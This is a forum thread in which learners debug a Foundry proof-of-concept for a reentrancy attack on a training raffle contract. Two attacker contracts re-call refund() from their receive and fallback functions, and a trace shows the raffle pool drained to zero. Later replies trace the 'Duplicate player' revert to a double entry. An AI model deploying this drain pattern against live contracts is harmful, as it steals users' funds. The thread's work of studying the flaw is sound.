Duplicate player error on writing PoC for Reentrancy attack

[Rabeet8]

Hey all,

I am writing a POC for the reentrancy attack but am getting an error.

[FAIL. Reason: revert: PuppyRaffle: Duplicate player]

It says the same player is reentering the raffle again and again isn't the whole purpose of the reentrancy attack and that's what we are trying to prove.

Spent some time figuring out but have not been able to do it so sharing my code below lmk if anyone figure out the issue.

`function test_reentrancyRefund() public playerEntered {
address[] memory players = new address;
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new ReentrancyAttacker(
        puppyRaffle
    );
    address attackUser = makeAddr("attackUser");
    vm.deal(attackUser, 1 ether);

    uint256 startingAttackContractBalance = address(attackerContract)
        .balance;

    uint256 startingContractBalance = address(puppyRaffle).balance;

    vm.prank(attackUser);

    attackerContract.attack{value: entranceFee}();

    console.log(
        "starting attacker contract balance:",
        startingAttackContractBalance
    );
    console.log("starting contract balance:", startingContractBalance);

    console.log(
        "ending attacker contract balance:",
        address(attackerContract).balance
    );
    console.log(
        "ending attacker contract balance:",
        address(puppyRaffle).balance
    );
}`

`contract ReentrancyAttacker {
PuppyRaffle puppyRaffle;
uint256 entranceFee;
uint256 attackerIndex;

constructor(PuppyRaffle _puppyRaffle) {
    puppyRaffle = _puppyRaffle;
    entranceFee = puppyRaffle.entranceFee();
}

function attack() external payable {
    address[] memory players = new address[](1);
    players[0] = address(this);
    puppyRaffle.enterRaffle{value: entranceFee}(players);
    attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
    puppyRaffle.refund(attackerIndex);
}

function _stealMoney() internal {
    if (address(puppyRaffle).balance >= entranceFee) {
        puppyRaffle.refund(attackerIndex);
    }
}

fallback() external payable {
    _stealMoney();
}
receive() external payable {
    _stealMoney();
}

}`

[EngrPips]

Hello @Rabeet8, I think you misunderstood the essence of the test, we are trying to confirm that a malicious contract can renter into the PuppyRaffle contract to withdraw more than they are suppose to withdraw and not that they can enter the PuppyRaffle contract multiple time as a participant of an ongoing Raffle.

Below is my whole setup for the same test and the output of the test. Maybe you can take a look and spot what you did differently that could cause your test to fail.

TEST FUNCTION

    function testPuppyRaffleContractCanBeReEntered() public {
        // lets set up addresses that will enter the puppy raffle ongoing game
        address patrick = makeAddr("patrick");
        address equious = makeAddr("equious");
        address vitto = makeAddr("vitto");
        address julia = makeAddr("julia");

        // lets set up the array we would use to enter the noob partcipant
        address[] memory noobParticipants = new address[](4);

        // lets fill the noobParticipants array with the address of the noob players
        noobParticipants[0] = patrick;
        noobParticipants[1] = equious;
        noobParticipants[2] = vitto;
        noobParticipants[3] = julia;

        // lets enter the noob players into the game
        puppyRaffle.enterRaffle{value: entranceFee * noobParticipants.length}(noobParticipants);


        // lets set up the attack contract
        AttackPuppyRaffle attacker = new AttackPuppyRaffle(puppyRaffle);

        // lets check and confirm the balance on the attack contract and also on the puppyRaffle contract so we can be sure there was truly an attack and the puppy raffle truly lost all of it funds
        uint256 puppyRaffleContractBalanceBeforeAttack = address(puppyRaffle).balance;
        uint256 attackContractBalanceBeforeAttack = address(attacker).balance;

        console.log("======================================================================================================================");

        console.log("the balance of the puppyRaffle contract before attack is ", puppyRaffleContractBalanceBeforeAttack);
        console.log("the  balance of the attack contract before attack is ", attackContractBalanceBeforeAttack);

        // now lets attack the puppy raffle game with the attack contract
        attacker.attack();

        // lets now check the after attack balance of both the puppy raffle contract and the attack contract to see the disaster that has happened 
        uint256 puppyRaffleContractBalanceAfterAttack = address(puppyRaffle).balance;
        uint256 attackContractBalanceAfterAttack = address(attacker).balance;

        console.log("======================================================================================================================");

        console.log("the balance of the puppyRaffle contract after attack is ", puppyRaffleContractBalanceAfterAttack);
        console.log("the balance of the attack contract after attack is ", attackContractBalanceAfterAttack);
    }

ATTACK CONTRACT

//SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;

import {Test, console} from "forge-std/Test.sol";

// importing puppy raffle 
import {PuppyRaffle} from "./PuppyRaffle.sol";

contract AttackPuppyRaffle is Test {

    PuppyRaffle private s_puppyRaffleContract;
    uint256 private s_activeIndex;
    uint256 private s_entranceFee = 1 ether;
  

    constructor(PuppyRaffle puppyRaffle) {
        s_puppyRaffleContract = puppyRaffle;
        
    }

    function attack() public payable {
        address[] memory attackerArray = new address[](1);
        attackerArray[0] = address(this);
        address engrPips = makeAddr("engrPips");
        vm.deal(engrPips, 1 ether);
        vm.prank(engrPips);
        s_puppyRaffleContract.enterRaffle{value: s_entranceFee}(attackerArray);
        s_activeIndex = s_puppyRaffleContract.getActivePlayerIndex(address(this));
        s_puppyRaffleContract.refund(s_activeIndex);
    }

    function drainPuppyRaffleContract() private {
        if(address(s_puppyRaffleContract).balance >= s_entranceFee) {
            s_activeIndex = s_puppyRaffleContract.getActivePlayerIndex(address(this));
            s_puppyRaffleContract.refund(s_activeIndex);
        }
    }

    receive() external payable {
        drainPuppyRaffleContract();
    }

    fallback() external payable {
        drainPuppyRaffleContract();
    }

}

OUTPUT OF TEST

Ran 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] testPuppyRaffleContractCanBeReEntered() (gas: 1332896)
Logs:
  ======================================================================================================================
  the balance of the puppyRaffle contract before attack is  4000000000000000000
  the  balance of the attack contract before attack is  0
  ======================================================================================================================
  the balance of the puppyRaffle contract after attack is  0
  the balance of the attack contract after attack is  5000000000000000000

Traces:
  [1332896] PuppyRaffleTest::testPuppyRaffleContractCanBeReEntered()
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← [Return] patrick: [0x9a66D8f9749454440E73D9F607B08a0324c7c1e3]
    ├─ [0] VM::label(patrick: [0x9a66D8f9749454440E73D9F607B08a0324c7c1e3], "patrick")
    │   └─ ← [Return] 
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← [Return] equious: [0x3616A308721c49b4597ac836F743005f06D92A1a]
    ├─ [0] VM::label(equious: [0x3616A308721c49b4597ac836F743005f06D92A1a], "equious")
    │   └─ ← [Return] 
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← [Return] vitto: [0x0B44D7E40dBb3B8aB1Cdad635b798eDa2F1ec678]
    ├─ [0] VM::label(vitto: [0x0B44D7E40dBb3B8aB1Cdad635b798eDa2F1ec678], "vitto")
    │   └─ ← [Return] 
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← [Return] julia: [0x55598AeC9CB992ea8Bc49e20d4f2C66E0EFEdb3A]
    ├─ [0] VM::label(julia: [0x55598AeC9CB992ea8Bc49e20d4f2C66E0EFEdb3A], "julia")
    │   └─ ← [Return] 
    ├─ [121273] PuppyRaffle::enterRaffle{value: 4000000000000000000}([0x9a66D8f9749454440E73D9F607B08a0324c7c1e3, 0x3616A308721c49b4597ac836F743005f06D92A1a, 0x0B44D7E40dBb3B8aB1Cdad635b798eDa2F1ec678, 0x55598AeC9CB992ea8Bc49e20d4f2C66E0EFEdb3A])
    │   ├─ emit RaffleEnter(newPlayers: [0x9a66D8f9749454440E73D9F607B08a0324c7c1e3, 0x3616A308721c49b4597ac836F743005f06D92A1a, 0x0B44D7E40dBb3B8aB1Cdad635b798eDa2F1ec678, 0x55598AeC9CB992ea8Bc49e20d4f2C66E0EFEdb3A])
    │   └─ ← [Stop] 
    ├─ [1029693] → new AttackPuppyRaffle@0x2e234DAe75C793f67A35089C9d99245E1C58470b
    │   └─ ← [Return] 4700 bytes of code
    ├─ [0] console::log("======================================================================================================================") [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] console::log("the balance of the puppyRaffle contract before attack is ", 4000000000000000000 [4e18]) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] console::log("the  balance of the attack contract before attack is ", 0) [staticcall]
    │   └─ ← [Stop] 
    ├─ [134822] AttackPuppyRaffle::attack()
    │   ├─ [0] VM::addr(<pk>) [staticcall]
    │   │   └─ ← [Return] engrPips: [0xDE40DFEf47154f166C6A6a413880c7eB1929405b]
    │   ├─ [0] VM::label(engrPips: [0xDE40DFEf47154f166C6A6a413880c7eB1929405b], "engrPips")
    │   │   └─ ← [Return] 
    │   ├─ [0] VM::deal(engrPips: [0xDE40DFEf47154f166C6A6a413880c7eB1929405b], 1000000000000000000 [1e18])
    │   │   └─ ← [Return] 
    │   ├─ [0] VM::prank(engrPips: [0xDE40DFEf47154f166C6A6a413880c7eB1929405b])
    │   │   └─ ← [Return] 
    │   ├─ [34134] PuppyRaffle::enterRaffle{value: 1000000000000000000}([0x2e234DAe75C793f67A35089C9d99245E1C58470b])
    │   │   ├─ emit RaffleEnter(newPlayers: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
    │   │   └─ ← [Stop] 
    │   ├─ [2764] PuppyRaffle::getActivePlayerIndex(AttackPuppyRaffle: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]
    │   │   └─ ← [Return] 4
    │   ├─ [64174] PuppyRaffle::refund(4)
    │   │   ├─ [54988] AttackPuppyRaffle::receive{value: 1000000000000000000}()
    │   │   │   ├─ [2764] PuppyRaffle::getActivePlayerIndex(AttackPuppyRaffle: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]
    │   │   │   │   └─ ← [Return] 4
    │   │   │   ├─ [50532] PuppyRaffle::refund(4)
    │   │   │   │   ├─ [41346] AttackPuppyRaffle::receive{value: 1000000000000000000}()
    │   │   │   │   │   ├─ [2764] PuppyRaffle::getActivePlayerIndex(AttackPuppyRaffle: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]
    │   │   │   │   │   │   └─ ← [Return] 4
    │   │   │   │   │   ├─ [36890] PuppyRaffle::refund(4)
    │   │   │   │   │   │   ├─ [27704] AttackPuppyRaffle::receive{value: 1000000000000000000}()
    │   │   │   │   │   │   │   ├─ [2764] PuppyRaffle::getActivePlayerIndex(AttackPuppyRaffle: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]
    │   │   │   │   │   │   │   │   └─ ← [Return] 4
    │   │   │   │   │   │   │   ├─ [23248] PuppyRaffle::refund(4)
    │   │   │   │   │   │   │   │   ├─ [14062] AttackPuppyRaffle::receive{value: 1000000000000000000}()
    │   │   │   │   │   │   │   │   │   ├─ [2764] PuppyRaffle::getActivePlayerIndex(AttackPuppyRaffle: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]
    │   │   │   │   │   │   │   │   │   │   └─ ← [Return] 4
    │   │   │   │   │   │   │   │   │   ├─ [9606] PuppyRaffle::refund(4)
    │   │   │   │   │   │   │   │   │   │   ├─ [420] AttackPuppyRaffle::receive{value: 1000000000000000000}()
    │   │   │   │   │   │   │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   │   │   │   │   │   │   ├─ emit RaffleRefunded(player: AttackPuppyRaffle: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
    │   │   │   │   │   │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   │   │   │   │   ├─ emit RaffleRefunded(player: AttackPuppyRaffle: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
    │   │   │   │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   │   │   ├─ emit RaffleRefunded(player: AttackPuppyRaffle: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
    │   │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   ├─ emit RaffleRefunded(player: AttackPuppyRaffle: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
    │   │   │   │   └─ ← [Stop] 
    │   │   │   └─ ← [Stop] 
    │   │   ├─ emit RaffleRefunded(player: AttackPuppyRaffle: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
    │   │   └─ ← [Stop] 
    │   └─ ← [Stop] 
    ├─ [0] console::log("======================================================================================================================") [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] console::log("the balance of the puppyRaffle contract after attack is ", 0) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] console::log("the balance of the attack contract after attack is ", 5000000000000000000 [5e18]) [staticcall]
    │   └─ ← [Stop] 
    └─ ← [Stop] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 30.97ms (6.96ms CPU time)

Ran 1 test suite in 4.46s (30.97ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

[Rabeet8]

Oh yes, i know the attack's goal was to extract as much amount of money as possible. I'm kinda stuck on the duplicate player error I might be doing anything while entering the raffle. thanks for your code I will refer it for sure:)

[EngrPips]

Hello @Rabeet8, So it is Eid-Il-Khabir(A big festive period for Muslim), and I have been with my family. I took some time to look and understand your issue, and I found out that you are having this revert issue because you, first of all, enter the Attack contract into the puppyRaffle contract in the constructor of the Attack contract, and then you try to re-enter the Attack contract into the puppyRaffle contract when you call the attack function on the Attack contract which is the second time and the puppyRaffle contract doesn't allow for an address to enter the raffle twice. Maybe don't enter the puppyRaffle contract in the constructor of the Attack contract and only enter inside of the of the attack function.

[minh20051202]

Uh, I don't think if you need this anymore, but there is the modifier playerEntered in your function and below you enter the raffle again with the same addresses. You should delete the modifier and it works fine.

[EngrPips]

Indeed